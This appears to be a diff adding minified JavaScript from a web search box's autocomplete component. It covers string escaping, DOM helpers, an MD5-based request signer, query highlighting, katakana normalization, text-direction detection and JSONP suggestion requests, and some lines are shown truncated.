+_.cj.gc=function(a,b,c,d,e,f,g,h){function i(){return!!c&&!!c[0]}var n,p=_.j,k,q={Ta:function(){return a},U:function(){return b},Zc:function(){return i()?c[0]:_.l},ha:function(){return c},Ka:i,O:function(){return d},sg:function(){return e},od:function(){return f},rg:function(){return g},Ph:function(){return h},Uh:function(){g=_.j},C:function(){return p},wh:function(){k||(k=_.cj.Di(q));return k},Kc:function(){return n}};c?c.length&&33==c[0].C()&&(f=p=_.m):c=[];d?n=d.Qk("t"):d=_.cj.Le;return q};
+_.cj.Ub=function(a,b,c,d,e,f){function g(a){if(e)for(var b=0,c;c=a[b++];)if(-1!=_.cj.indexOf(c,e))return _.j;return _.m}var h={Kh:"za",Lh:"zb"},i=_.m,n={$a:function(){return a},Q:function(){return b},Ma:function(){return c},C:function(){return d},Fd:function(){return f.V(h.Kh)},mg:function(){return f.V(h.Lh)},Zb:function(){return e||[]},Nh:function(a){return!!e&&g([a])},$g:g,O:function(){return f},Rc:function(){return i}},p=_.k4;switch(d){case p.ge:case p.lo:case p.ek:case p.To:case p.Tn [...]
+_.j}f||(f=_.cj.Le);return n};_.dj.Su=_.l;
+_.cj.jp=function(){function a(a){return a?-1<a.indexOf(" ")||f.test(a):_.m}var b=/\s/g,c=/\u3000/g,d=/^\s/,e=/\s+$/,f=/\s+/,g=/\s+/g,h=/^\s+|\s+$/g,i=/^\s+$/,n=/<[^>]*>/g,p=/ /g,k=/ /g,q=[/&/g,/&/g,/</g,/</g,/>/g,/>/g,/"/g,/"/g,/'/g,/'/g,/{/g,/{/g],v=window.document.getElementsByTagName("head")[0],r=0;_.cj.Rd=function(a,b){function c(){return b}b===_.ba&&(b=a);return{getPosition:c,Og:function(){return a},Jk:c,ks:function(){return a<b},equals:function(c [...]
+a==c.Og()&&b==c.Jk()}}};_.cj.Na=function(a,b,c,d){if(b==_.l||""===b){if(!d)return;b=""}c.push(a+"="+(0,window.encodeURIComponent)((0,window.String)(b)))};_.cj.Pd=function(a){var b=[],c;for(c in a)_.cj.Na(c,a[c],b);return b.join("&")};_.cj.br=function(a){var b={},c=window.Math.max(a.indexOf("?"),a.indexOf("#"));a=a.substr(c+1);if(0<=c&&a){c=a.split("&");a=0;for(var d;a<c.length;++a)if(d=c[a])d=d.split("="),b[d[0]]=d[1]||""}return b};_.cj.wc=function(a){return!!a&&!i.test(a)};_.cj.zq=funct [...]
+_.cj.escape=function(a){for(var b=q.length,c=0;c<b;c+=2)a=a.replace(q[c],q[c+1].source);return a};_.cj.unescape=function(a){for(var b=q.length,c=0;c<b;c+=2)a=a.replace(q[c+1],q[c].source);a=a.replace(p," ");return a.replace(k,"\u3000")};_.cj.$h=function(a){return a.replace(_.cj.Zn,"")};_.cj.fj=function(a){return a.replace(n,"")};_.cj.Bp=function(d){return a(d)?(d=d.replace(c," "),d.replace(b," ")):d};_.cj.ww=a;_.cj.Pb=function(b,c){return a(b)?(b=b.replace(g," "),b.replace(c? [...]
+b};_.cj.trim=function(a){return a.replace(h,"")};_.cj.Fw=function(a){return a.replace(e,"")};_.cj.Lb=function(a,b,c){c&&(a=a.toLowerCase(),b=b.toLowerCase());return b.length<=a.length&&a.substring(0,b.length)==b};_.cj.yw=function(a,b,c){c&&(a=a.toLowerCase(),b=b.toLowerCase());c=a.length-b.length;return-1<c&&a.lastIndexOf(b)==c};_.cj.qp=function(a,b){return!a&&!b?_.j:!!a&&!!b&&a.toLowerCase()==b.toLowerCase()};_.cj.nc=function(a){window.clearTimeout(a)};_.cj.P=(0,_.ea)();_.cj.Fg=function [...]
+_.cj.yp=function(){return(r++).toString(36)};_.cj.wj=function(a){return _.cj.xo.test(a)};_.cj.Aq=function(a,b){return _.cj.Ub(a.$a(),a.Q(),b,a.C(),a.Zb(),a.O())};_.cj.indexOf=function(a,b){if(b.indexOf)return b.indexOf(a);for(var c=0,d=b.length;c<d;++c)if(b[c]===a)return c;return-1};_.cj.Zi=function(a,b){return a.ja()-b.ja()};_.cj.rp=function(a,b){return b.ja()-a.ja()};_.cj.Yi=function(a){var b={},c;for(c in a)b[c]=a[c];return b};_.cj.lc=function(a,b,c){b in a||(a[b]=[162]);a[b].push(c)} [...]
+_.cj.Qd=function(a){return{contains:function(b){return b in a},zs:function(b){return!!a[b]},ye:function(b){return a[b]||0},V:function(b){return a[b]||""},Qk:function(b){return a[b]||_.l}}};_.cj.Le=_.cj.Qd({});
+_.cj.kp=function(){function a(a,b){var c=window.document.createElement(a);b&&(c.className=b);return c}function b(b){return a("div",b)}function c(a,b,c){var d=a.style;"INPUT"!=a.nodeName&&(c+=1);d.left=d.right="";d[b]=c+"px"}function d(a){return"rtl"==a?"right":"left"}function e(a,b){var c=a.getElementsByTagName("input");if(c)for(var d=0,e;e=c[d++];)if(e.name==b&&"submit"!=e.type.toLowerCase())return e;return _.l}function f(a){a&&(a.preventDefault&&a.preventDefault(),a.returnValue=_.m);re [...]
+function g(a){return a?a.ownerDocument||a.document:window.document}function h(a){return a?(a=g(a),a.defaultView||a.parentWindow):window}function i(a,b,c){return b+a*(c-b)}function n(a){return p?a+"":[_.cj.nf?"progid:DXImageTransform.Microsoft.Alpha(":"alpha(","opacity=",window.Math.floor(100*a),")"].join("")}var p=window.document.documentElement.style.opacity!=_.ba,k={rtl:"right",ltr:"left"};_.cj.tj=function(a,b){if(a.setSelectionRange)a.setSelectionRange(b,b);else if(a.createTextRange)t [...]
+a.createTextRange();c.collapse(_.j);c.moveStart("character",b);c.select()}catch(d){}};_.cj.Ya=function(a){try{var b,c;if("selectionStart"in a)b=a.selectionStart,c=a.selectionEnd;else{var d=a.createTextRange(),e=g(a).selection.createRange();d.inRange(e)&&(d.setEndPoint("EndToStart",e),b=d.text.length,d.setEndPoint("EndToEnd",e),c=d.text.length)}if(b!==_.ba)return _.cj.Rd(b,c)}catch(f){}return _.l};_.cj.ij=function(a,b){for(var c=0,d=0;a&&!(b&&a==b);){c+=a.offsetTop;d+=a.offsetLeft;try{a=a [...]
+_.l}}return{kd:c,wb:d}};_.cj.Cc=function(a){try{return g(a).activeElement==a}catch(b){}return _.m};_.cj.sj=function(a){var b=_.o4;return a==b.Jh||a==b.Ih};_.cj.R=a;_.cj.ic=function(){var b=a("table");b.cellPadding=b.cellSpacing=0;b.style.width="100%";return b};_.cj.oa=b;_.cj.cg=function(a,c){var d=b(a),e=d.style;e.background="transparent";e.color="#000";e.padding=0;e.position="absolute";c&&(e.zIndex=c);e.whiteSpace="pre";return d};_.cj.xc=function(a,b){a.innerHTML!=b&&(b&&(_.cj.nf?b=_.cj [...]
+(b=['<pre style="font:inherit;margin:0">',b,"</pre>"].join(""))),a.innerHTML=b)};_.cj.ej=function(a,b){a.dir!=b&&(c(a,d(b),0),a.dir=b)};_.cj.Jp=c;_.cj.rn=d;_.cj.dj=function(a,b){a.dir!=b&&(a.dir=b,a.style.textAlign=k[b])};_.cj.Td=function(b,c,d){if(e(b,c))return _.l;var f=a("input");f.type="hidden";f.name=c;d&&(f.value=d);return b.appendChild(f)};_.cj.Ng=e;_.cj.Kp=function(a){var b=window.document.createEvent("KeyboardEvent");b.initKeyEvent("keypress",_.j,_.j,_.l,_.m,_.m,_.j,_.m,27,0);a. [...]
+_.cj.preventDefault=f;_.cj.gb=function(a){if(a=a||window.event)a.stopPropagation&&a.stopPropagation(),a.cancelBubble=a.cancel=_.j;return f(a)};_.cj.rj=function(a,b){b.parentNode.insertBefore(a,b.nextSibling)};_.cj.vg=function(a){a=a.insertCell(-1);var b=_.cj.R("a");b.href="#ifl";b.className="gssb_j gss_ifl";a.appendChild(b);return b};_.cj.getComputedStyle=function(a,b){var c=h(a);return(c=c.getComputedStyle?c.getComputedStyle(a,""):a.currentStyle)?c[b]:_.l};_.cj.$i=function(a){var b=a||w [...]
+var c=b.innerWidth,b=b.innerHeight;if(!c){var d=a.documentElement;d&&(c=d.clientWidth,b=d.clientHeight);c||(c=a.body.clientWidth,b=a.body.clientHeight)}return{Xd:c,De:b}};_.cj.xp=function(a){return(a||window).document.documentElement.clientWidth};_.cj.Gg=function(a,b,c,d,e){function f(a,b){g.push(a,a?"px":"",b?"":" ")}var g=[];f(a);f(e?d:b);f(c);f(e?b:d,_.j);return g.join("")};_.cj.Hh=function(a){a=a.style;a.border="none";a.padding=_.cj.rd||_.cj.Ea?"0 1px":"0";a.margin="0";a.height="auto [...]
+"100%"};_.cj.Rk=function(a){return(p?"opacity":"filter")+":"+n(a)+";"};_.cj.Mq=function(a,b){a.style[p?"opacity":"filter"]=n(b)};_.cj.nk=function(a,b){a.innerHTML="";a.appendChild(window.document.createTextNode(b))};_.cj.lg=function(a){var b={};if(a)for(var c=0,d;d=a[c++];)b[d.ub()]=d;return b};_.cj.On=g;_.cj.Hc=h;_.cj.interpolate=i;_.cj.ps=function(a,b,c){return window.Math.round(i(a,b,c))}};_.cj.kp();
+_.cj.ii=function(){function a(a){_.cj.ne(a)&&(a=d(a));var b="";if(a){for(var c=a.length,e=0,f=0,g=0;c--;){f<<=8;f|=a[g++];for(e+=8;6<=e;)var h=f>>e-6&63,b=b+"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_".charAt(h),e=e-6}e&&(f<<=8,e+=8,h=f>>e-6&63,b+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_".charAt(h))}return b}function b(a){var b=[];if(a)for(var c=0,d=0,e=0;e<a.length;++e){var f=a.charCodeAt(e);if(32>f||127<f||!i[f-32])return[];c<<=6;c|=i[f-32 [...]
+8<=d&&(b.push(c>>d-8&255),d-=8)}return b}function c(a,b){var c={};c.ca=(0,window.Array)(4);c.buffer=(0,window.Array)(4);c.fn=(0,window.Array)(4);c.padding=(0,window.Array)(64);c.padding[0]=128;for(var p=1;64>p;++p)c.padding[p]=0;e(c);var p=(0,window.Array)(64),s;64<b.length?(e(c),g(c,b),s=h(c)):s=b;for(var n=0;n<s.length;++n)p[n]=s[n]^92;for(n=s.length;64>n;++n)p[n]=92;e(c);for(n=0;64>n;++n)c.buffer[n]=p[n]^106;f(c,c.buffer);c.total=64;g(c,d(a));s=h(c);e(c);f(c,p);c.total=64;g(c,s);retur [...]
+[],c=0,d=0;d<a.length;++d){var e=a.charCodeAt(d);128>e?b[c++]=e:(2048>e?b[c++]=e>>6|192:(b[c++]=e>>12|224,b[c++]=e>>6&63|128),b[c++]=e&63|128)}return b}function e(a){a.ca[0]=1732584193;a.ca[1]=4023233417;a.ca[2]=2562383102;a.ca[3]=271733878;a.xd=a.total=0}function f(a,b){for(var c=a.fn,d=0;64>d;d+=4)c[d/4]=b[d]|b[d+1]<<8|b[d+2]<<16|b[d+3]<<24;for(var d=a.ca[0],e=a.ca[1],f=a.ca[2],g=a.ca[3],h,i,w,x=0;64>x;++x)16>x?(h=g^e&(f^g),i=x):32>x?(h=f^g&(e^f),i=5*x+1&15):48>x?(h=e^f^g,i=3*x+5&15):( [...]
+i=7*x&15),w=g,g=f,f=e,e=e+(((d+h+p[x]+c[i]&4294967295)<<n[x]|(d+h+p[x]+c[i]&4294967295)>>>32-n[x])&4294967295)&4294967295,d=w;a.ca[0]=a.ca[0]+d&4294967295;a.ca[1]=a.ca[1]+e&4294967295;a.ca[2]=a.ca[2]+f&4294967295;a.ca[3]=a.ca[3]+g&4294967295}function g(a,b,c){c||(c=b.length);a.total+=c;for(var d=0;d<c;++d)a.buffer[a.xd++]=b[d],64==a.xd&&(f(a,a.buffer),a.xd=0)}function h(a){var b=(0,window.Array)(16),c=8*a.total,d=a.xd;g(a,a.padding,56>d?56-d:64-(d-56));for(var e=56;64>e;++e)a.buffer[e]=c [...]
+8;f(a,a.buffer);for(e=d=0;4>e;++e)for(c=0;32>c;c+=8)b[d++]=a.ca[e]>>c&255;return b}var i=[0,0,0,0,0,0,0,0,0,0,0,0,0,63,0,0,53,54,55,56,57,58,59,60,61,62,0,0,0,0,0,0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,0,0,0,0,64,0,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,0,0,0,0,0],n=[7,12,17,22,7,12,17,22,7,12,17,22,7,12,17,22,5,9,14,20,5,9,14,20,5,9,14,20,5,9,14,20,4,11,16,23,4,11,16,23,4,11,16,23,4,11,16,23,6,10,15,21,6,10,15,21,6 [...]
+6,10,15,21],p=[3614090360,3905402710,606105819,3250441966,4118548399,1200080426,2821735955,4249261313,1770035416,2336552879,4294925233,2304563134,1804603682,4254626195,2792965006,1236535329,4129170786,3225465664,643717713,3921069994,3593408605,38016083,3634488961,3889429448,568446438,3275163606,4107603335,1163531501,2850285829,4243563512,1735328473,2368359562,4294588738,2272392833,1839030562,4259657740,2763975236,1272893353,4139469664,3200236656,681279174,3936430074,3572445317,76029189,3 [...]
+3873151461,530742520,3299628645,4096336452,1126891415,2878612391,4237533241,1700485571,2399980690,4293915773,2240044497,1873313359,4264355552,2734768916,1309151649,4149444226,3174756917,718787259,3951481745];return{C:(0,_.E)(191),G:function(){return _.cj.A.dd},F:function(){return{Wg:a,zj:b,Bj:c}}}};_.cj.A.dd=192;_.cj.J.zg(191,_.cj.A.dd,_.cj.ii);
+_.cj.ji=function(){function a(a,c){c=_.cj.escape(_.cj.$h(c));a=_.cj.escape(_.cj.Pb(a,_.cj.Jg));if(_.cj.Lb(c,a))return[a,"<b>",c.substr(a.length),"</b>"].join("");for(var d=[],e=[],f=c.length-1,g=0,h=-1,i;i=c.charAt(g);++g)if(" "==i||"\t"==i)d.length&&(i=g+1,e.push({t:d.join(""),s:h,e:i}),d=[],h=-1);else if(d.push(i),-1==h)h=g;else if(g==f){i=h;var n=g+1;e.push({t:d.join(""),s:i,e:n})}d=a.split(/\s+/);g={};for(f=0;h=d[f++];)g[h]=1;i=-1;d=[];n=e.length-1;for(f=0;h=e[f];++f)g[h.t]?(h=-1==i, [...]
+f:i,e:f}):h&&(i=f)):-1<i&&(d.push({s:i,e:f-1}),i=-1);if(!d.length)return["<b>",c,"</b>"].join("");f=[];for(g=h=0;i=d[g];++g)(n=e[i.s].s)&&f.push("<b>",c.substring(h,n-1),"</b> "),h=e[i.e].e,f.push(c.substring(n,h));h<c.length&&f.push("<b>",c.substring(h),"</b> ");return f.join("")}return{C:(0,_.E)(150),G:function(){return _.cj.A.qd},F:function(){return{bold:a}}}};_.cj.A.qd=95;_.cj.J.zg(150,_.cj.A.qd,_.cj.ji);
+_.cj.Ci=function(){function a(a){a=b(a,k,c);a=b(a,q,d);return b(a,r,e)}function b(a,b,c){for(var d,e,f=0;(d=b.exec(a))!=_.l;)e||(e=[]),f<d.index&&e.push(a.substring(f,d.index)),e.push(c(d[0])),f=b.lastIndex;if(!e)return a;f<a.length&&e.push(a.substring(f));return e.join("")}function c(a){return window.String.fromCharCode(a.charCodeAt(0)-65248)}function d(a){var b=a.charCodeAt(0);return 1==a.length?g.charAt(b-65377):65438==a.charCodeAt(1)?h.charAt(b-65395):i.charAt(b-65418)}function e(a){ [...]
+return 12443==a.charCodeAt(1)?n.charAt(b-12454):p.charAt(b-12495)}function f(a){return eval('"\\u30'+a.split(",").join("\\u30")+'"')}var g=f("02,0C,0D,01,FB,F2,A1,A3,A5,A7,A9,E3,E5,E7,C3,FC,A2,A4,A6,A8,AA,AB,AD,AF,B1,B3,B5,B7,B9,BB,BD,BF,C1,C4,C6,C8,CA,CB,CC,CD,CE,CF,D2,D5,D8,DB,DE,DF,E0,E1,E2,E4,E6,E8,E9,EA,EB,EC,ED,EF,F3,9B,9C"),h=f("F4__,AC,AE,B0,B2,B4,B6,B8,BA,BC,BE,C0,C2,C5,C7,C9_____,D0,D3,D6,D9,DC"),i=f("D1,D4,D7,DA,DD"),n=f("F4____,AC_,AE_,B0_,B2_,B4_,B6_,B8_,BA_,BC_,BE_,C0_,C2__ [...]
+p=f("D1__,D4__,D7__,DA__,DD"),k=/[\uFF01-\uFF5E]/g,q=(0,window.RegExp)("([\uff73\uff76-\uff84\uff8a-\uff8e]\uff9e)|([\uff8a-\uff8e]\uff9f)|([\uff61-\uff9f])","g"),v="(["+f("A6,AB,AD,AF,B1,B3,B5,B7,B9,BB,BD,BF,C1,C4,C6,C8,CF,D2,D5,D8,DB")+"]\u309b)|(["+f("CF,D2,D5,D8,DB")+"]\u309c)",r=(0,window.RegExp)(v,"g");return{C:(0,_.E)(146),G:function(){return _.cj.A.Md},F:function(){return{tl:a}}}};_.cj.A.Md=12;_.cj.J.register(146,_.cj.A.Md,_.cj.Ci);_.dj.qi=_.l;
+_.cj.qi=function(a,b,c,d,e){var f=_.cj.Ob?"-moz-":_.cj.Ea?"-ms-":_.cj.rd?"-o-":_.cj.Lc?"-webkit-":"",g="."+_.cj.ce+d,h=(0,window.RegExp)("(\\.("+e.join("|")+")\\b)"),i=[];return{addRule:function(a,d){if(b){if(c){for(var e=a.split(","),f=[],v=0,r;r=e[v++];)r=h.test(r)?r.replace(h,g+"$1"):g+" "+r,f.push(r);a=f.join(",")}i.push(a,"{",d,"}")}},Jl:function(){if(b&&i.length){b=_.m;var c=_.cj.R("style");c.setAttribute("type","text/css");(a||_.cj.Fg()).appendChild(c);var d=i.join("");i=_.l;c.sty [...]
+d:c.appendChild(window.document.createTextNode(d))}},prefix:function(a,b){var c=[a,b||""];f&&(c=c.concat(b?[a,f,b]:[f,a]));return c.join("")}}};
+_.cj.Ji=function(){function a(a){var b=0;a&&(g||c(),d(),a in h?b=h[a]:(_.cj.xc(g,_.cj.escape(a)),h[a]=b=g.offsetWidth,_.cj.xc(g,"")));return b}function b(){g||c();d();i||(_.cj.xc(g,"|"),i=g.offsetHeight);return i}function c(){g=_.cj.cg(e.Nb);g.style.visibility="hidden";f.appendChild(g)}function d(){var a=_.cj.getTime();if(!p||p+3E3<a)if(p=a,a=_.cj.getComputedStyle(g,"fontSize"),!n||a!=n)h={},i=_.l,n=a}var e,f,g,h,i,n,p;return{W:function(a){f=a.Of()||window.document.body},T:function(a){e= [...]
+G:function(){return _.cj.A.Cb},F:function(){return{getWidth:a,getHeight:b}}}};_.cj.A.Cb=10;_.cj.J.register(147,_.cj.A.Cb,_.cj.Ji);_.dj.li=_.l;
+_.cj.li=function(a){function b(b){return a[b]||c}function c(){}var d,e={Yb:function(){return d.Yb()},search:function(a,b){d.search(a,b)},Bd:function(a){d.Bd(a)},uc:function(a){d.uc(a)},Gc:function(a){return d.Gc(a)},Ad:function(a){d.Ad(a)},Ue:function(a){d.Ue(a)},Ve:function(a){d.Ve(a)},Qe:function(a){d.Qe(a)},Uc:function(a,b){d.Uc(a,b)},zd:function(a,b){d.zd(a,b)},Re:function(){d.Re()},Te:function(a){d.Te(a)},Dd:function(a){d.Dd(a)},Dc:function(){d.Dc()},Ec:function(){d.Ec()},yd:functio [...]
+qc:function(a,b){d.qc(a,b)},Sf:function(a){d.Sf(a)},Tf:function(){d.Tf()},yc:function(){d.yc()},Se:function(){d.Se()},We:function(a){d.We(a)},Ne:function(){d.Ne()},Pe:function(){d.Pe()},Oe:function(){d.Oe()},Xe:function(){d.Xe()},Cq:_.cj.P};a||(a={});d={Yb:b("a"),search:b("b"),Bd:b("c"),uc:b("d"),Gc:b("e"),Ad:b("f"),Ue:b("g"),Ve:b("h"),Qe:b("i"),Uc:b("j"),zd:b("k"),Re:b("l"),Te:b("m"),Dd:b("n"),Dc:b("o"),Ec:b("p"),yd:b("q"),qc:b("r"),Sf:b("s"),Tf:b("t"),yc:b("u"),We:b("w"),Ne:b("x"),Se:b [...]
+Oe:b("aa"),Xe:b("ab")};return e};
+_.cj.Go=function(){function a(a,b,c,d){var f=a.getId(),g=a.U();s.uf||e();b=[p,k,q,"?",v?v+"&":"",b?b+"&":""].join("");var i=_.cj.Na;a=[];i("q",g,a,_.cj.Fj);s.yf||i("callback","google.sbox.p"+n,a);if(r){for(var g=[],t=4+window.Math.floor(32*window.Math.random()),G=0,Q;G<t;++G)Q=0.3>window.Math.random()?48+window.Math.floor(10*window.Math.random()):(0.5<window.Math.random()?65:97)+window.Math.floor(26*window.Math.random()),g.push(window.String.fromCharCode(Q));g=g.join("");i("gs_gbg",g,a)} [...]
+i.src=b+a.join("&");i.charset="utf-8";A[f]=i;z=s.uf?d:c;h.appendChild(i);return _.j}function b(){return 0}function c(){return 0}function d(a){var b=A[a];b&&(h.removeChild(b),delete A[a])}function e(){for(var a in A)h.removeChild(A[a]);A={};z=_.l}function f(a){z&&z(a,_.m)}function g(a){a||(a=_.cj.P);var b=window.google;s.yf?b.ac.h=a:b.sbox["p"+n]=a}var h=_.cj.Fg(),i,n,p,k,q,v,r,s,A={},z,t={L:function(a){i=a.get(127,t);n=a.Fb().getId()},K:function(a){s=a;0==a.ob&&(a=i.Hf(),p=a.protocol,k=a [...]
+v=a.pg,r="https:"==window.document.location.protocol,g(f),(new window.Image).src=p+k+"/generate_204")},C:(0,_.E)(149),G:function(){return _.cj.A.Ic},F:function(){return{jd:a,kg:d,hb:_.cj.P,Ud:b,Wd:c}},$:function(){g(_.l);e()}};return t};_.cj.A.Ic=6;_.cj.J.register(149,_.cj.A.Ic,_.cj.Go);
+_.cj.wi=function(){function a(a){if(!h)return _.j;for(var b=_.m,c=_.m,f=0,g;f<a.length;++f)if(g=a.charAt(f),!d.test(g)&&(e.test(g)?c=_.j:b=_.j,c&&b))return _.j;return _.m}function b(a,b,c){if(!h)return _.j;var e=f.test(c),v=g.test(b);return"ltr"==a?e||v||d.test(c)||d.test(b):!e||!v}function c(a){var b=i;h&&(e.test(a)?b="ltr":d.test(a)||(b="rtl"));return b}var d=(0,window.RegExp)("^[\x00- !-@[-`{-\u00bf\u00d7\u00f7\u02b9-\u02ff\u2000-\u2bff]*$"),e=(0,window.RegExp)("^[\x00- !-@[-`{-\u00bf [...]
+f=(0,window.RegExp)("^[\x00- !-@[-`{-\u00bf\u00d7\u00f7\u02b9-\u02ff\u2000-\u2bff]*(?:\\d|[A-Za-z\u00c0-\u00d6\u00d8-\u00f6\u00f8-\u02b8\u0300-\u0590\u0800-\u1fff\u2c00-\ufb1c\ufdfe-\ufe6f\ufefd-\uffff])"),g=(0,window.RegExp)("(?:\\d|[A-Za-z\u00c0-\u00d6\u00d8-\u00f6\u00f8-\u02b8\u0300-\u0590\u0800-\u1fff\u2c00-\ufb1c\ufdfe-\ufe6f\ufefd-\uffff])[\x00- !-@[-`{-\u00bf\u00d7\u00f7\u02b9-\u02ff\u2000-\u2bff]*$"),h=e.test("x"),i;return{W:function(a){i=a.Yc()},C:(0,_.E)(145),G:function(){retur [...]
+F:function(){return{B:a,Lm:b,vc:c}}}};_.cj.A.$b=1;_.cj.J.register(145,_.cj.A.$b,_.cj.wi);_.dj.lv=_.l;
+_.cj.Bi=function(){function a(a,b,c,d,e){var f=n(a);f||(f={},v.push({element:a,Cm:f}));var s=f[b];if(!s){var s=f[b]=[],g=a.vl?window:_.cj.Hc(a),q=s,f=function(a,c){if(q.length){var d;if(!(d=a)){d={};var e=g.event;e&&(e.keyCode&&(d.keyCode=e.keyCode),d.Jm=_.j)}d.Fc=c||b;for(var e=d,f,s,h=0,k;k=q[h++];)k.ef?s=_.j:f||(k.Km?p(k,e):f=k.Jb(e));if(s)for(h=0;k=q[h];)k.ef?q.splice(h,1):++h;if(d.Jd)return delete d.Jd,d.Jm&&(d=g.event||d),_.cj.gb(d),d.returnValue=_.m}};_.cj.ne(b)?a.addEventListener [...]
+f,_.m):a["on"+b]=f:a[b]=f}d=d||0;s.push({Km:!!e,ef:_.m,Kd:d,Jb:c});s.sort(k);c.Sl=b}function b(a,b){var c=n(a);if(c&&(c=c[b.Sl]))for(var d=0,e;e=c[d++];)if(e.Jb==b){e.ef=_.j;break}}function c(b,c,d,e){a(r,b,c,d,e)}function d(a){b(r,a)}function e(a,b){var c=b||{},d=r[a];d&&d(c,c.Fc)}function f(a,b,c){a.addEventListener?a.addEventListener(b,c,_.m):a.attachEvent("on"+b,c)}function g(a,b,c){a.removeEventListener?a.removeEventListener(b,c,_.m):a.detachEvent("on"+b,c)}function h(a){q?(s||(s=[] [...]
+"message",i)),s.push(a),a=window.location.href,window.postMessage("sbox.df",/HTTPS?:\/\//i.test(a)?a:"*")):window.setTimeout(a,0)}function i(a){s&&(a&&(a.source==window&&"sbox.df"==a.data)&&s.length)&&(s.shift()(),s&&s.length&&window.postMessage("sbox.df",window.location.href))}function n(a){for(var b=0,c;b<v.length;++b)if(c=v[b],c.element==a)return c.Cm;return _.l}function p(a,b){h(function(){a.Jb(b)})}function k(a,b){return b.Kd-a.Kd}var q=window.postMessage&&!(_.cj.Ea||_.cj.Fo||_.cj.r [...]
+{vl:1},s;return{C:(0,_.E)(117),G:function(){return _.cj.A.ea},F:function(){return{qa:a,gf:b,Db:c,B:d,da:e,listen:f,unlisten:g,defer:h}},$:function(){s=_.l}}};_.cj.A.ea=2;_.cj.J.register(117,_.cj.A.ea,_.cj.Bi);_.cj.Gi=function(){function a(a){e[a]=_.j;f=a}function b(){var a=[],b;for(b in e)a.push((0,window.parseInt)(b,10));return a}function c(){return f}function d(){e={};f=_.l}var e,f;return{K:function(){d()},C:(0,_.E)(374),G:function(){return _.cj.A.za},F:function(){return{add:a,um:b,dm: [...]
+_.cj.A.za=375;_.cj.J.register(374,_.cj.A.za,_.cj.Gi);
+_.cj.Hi=function(){function a(a){var b=p.Ca(),c;c=[];var g=_.sCa;c[g.fo]=d(s.Yd);c[g.Uo]=a==_.ba?"":a+"";c[g.za]=k.um().join("j");a=g.Vn;var u="";q.Ze()?u="o":v.jc()&&(u=v.qj()+"");c[a]=u;a=g.Wn;var u="",Z=v.ha();if(Z){for(var y,G=0,Q=0,L;L=Z[Q++];){var S=L;L=S.C()+"";S=S.Zb();S.length&&(L+="i"+S.join("i"));L!=y&&(1<G&&(u+="l"+G),u+=(y?"j":"")+L,G=0,y=L);++G}1<G&&(u+="l"+G)}c[a]=u;c[g.zo]=e(p.Zl());c[g.Ho]=e(p.bm());c[g.Wo]=A;c[g.Vo]=_.cj.getTime()-z;c[g.Io]=e(p.cm());c[g.yo]=n.nm();if(y [...]
+y.Nm?["1",s.Mf?"a":"",s.Nf?"c":""].join(""):"",c[g.Eo]=y.Im,c[g.wo]=y.Tl;c[g.Ao]=n.vf();c[g.Bo]=n.$l();if(y=n.Zk())c[g.jo]=y.Um,c[g.io]=y.Sm,c[g.ko]=y.Vm;c[g.So]=n.mm();c[g.Mo]=n.fm();c[g.bp]=n.om();c[g.ho]=n.Wl();c[g.vo]=d(s.Wc);g=g.Ai;y=(y=q.Oa())?y.O().V("e")?"1":"":"";c[g]=y;for(g=0;y=r[g++];)a=y.Ma(),h[a]&&(c[a]=c[a]==_.ba?d(y.getValue()):"");c=c.join(".").replace(f,"");i&&t?(g=b+c,y=i.zj(t),g=i.Bj(g,y),g=g.slice(0,8),g=i.Wg(g)):g="";c=[c,g].join(".");return{oq:b,gs_l:c}}function b( [...]
+++A;p.Eb();k.reset();n.Eb();for(var a=0,b;b=r[a++];)b.reset()}function c(a){t=a}function d(a){return a?a.replace(g,"-"):""}function e(a){return window.Math.max(a-z,0)}var f=/\.+$/,g=/\./g,h=_.cj.Za(_.cj.Lo),i,n,p,k,q,v,r,s,A=-1,z,t,u={L:function(a){var b=_.m4;i=a.get(b.dd,u);n=a.get(b.ya,u);p=a.get(b.Y,u);k=a.get(b.za,u);q=a.get(b.ta,u);v=a.get(b.ga,u);r=a.ma(b.Xf,u);_.cj.lg(a.ma(b.RENDERER,u))},T:function(a){t=a.Rh},K:function(a){s=a;b()},C:(0,_.E)(120),G:function(){return _.cj.A.eb},F: [...]
+reset:b,$m:c}}};return u};_.cj.A.eb=9;_.cj.J.register(120,_.cj.A.eb,_.cj.Hi);
+_.cj.Ni=function(){function a(a,b){if(v){for(var c=_.m,d=0,e;e=v[d++];)2==e.Ib(a,b)&&(c=_.j);if(c)return}if(_.cj.wc(a)||w.nb||i&&i.nb())_.cj.wj(b)?u&&!t&&(t=_.cj.Td(u,"btnI","1")):t&&(u.removeChild(t),t=_.l),g(b),z.search(a,b),f(),n.da(14,{query:a})}function b(a){g();z.Bd(a);f()}function c(a){g();z.uc(a);f()}function d(a){g(1);z.yd(a);f()}function e(a){return z.Gc(a)}function f(){p.$e();p.Ll();q.reset();s?s.clear():r.clear();k.Ca()!=k.la()&&k.Ml();A&&A.clear()}function g(a){h&&w.Pl&&h.Qg [...]
+i,n,p,k,q,v,r,s,A,z,t,u,w,x={W:function(a){u=a.Of()},L:function(a){var b=_.m4;h=a.get(b.Rg,x);i=a.get(b.zb,x);n=a.get(b.ea,x);p=a.get(b.ya,x);k=a.get(b.Y,x);q=a.get(b.eb,x);r=a.get(b.ga,x);s=a.get(b.Mh,x);A=a.get(b.wa,x);z=a.Wa();v=a.ma(b.Mg,x)},K:function(a){w=a},C:(0,_.E)(121),G:function(){return _.cj.A.Qa},F:function(){return{search:a,Bd:b,uc:c,yd:d,Gc:e}}};return x};_.cj.A.Qa=11;_.cj.J.register(121,_.cj.A.Qa,_.cj.Ni);
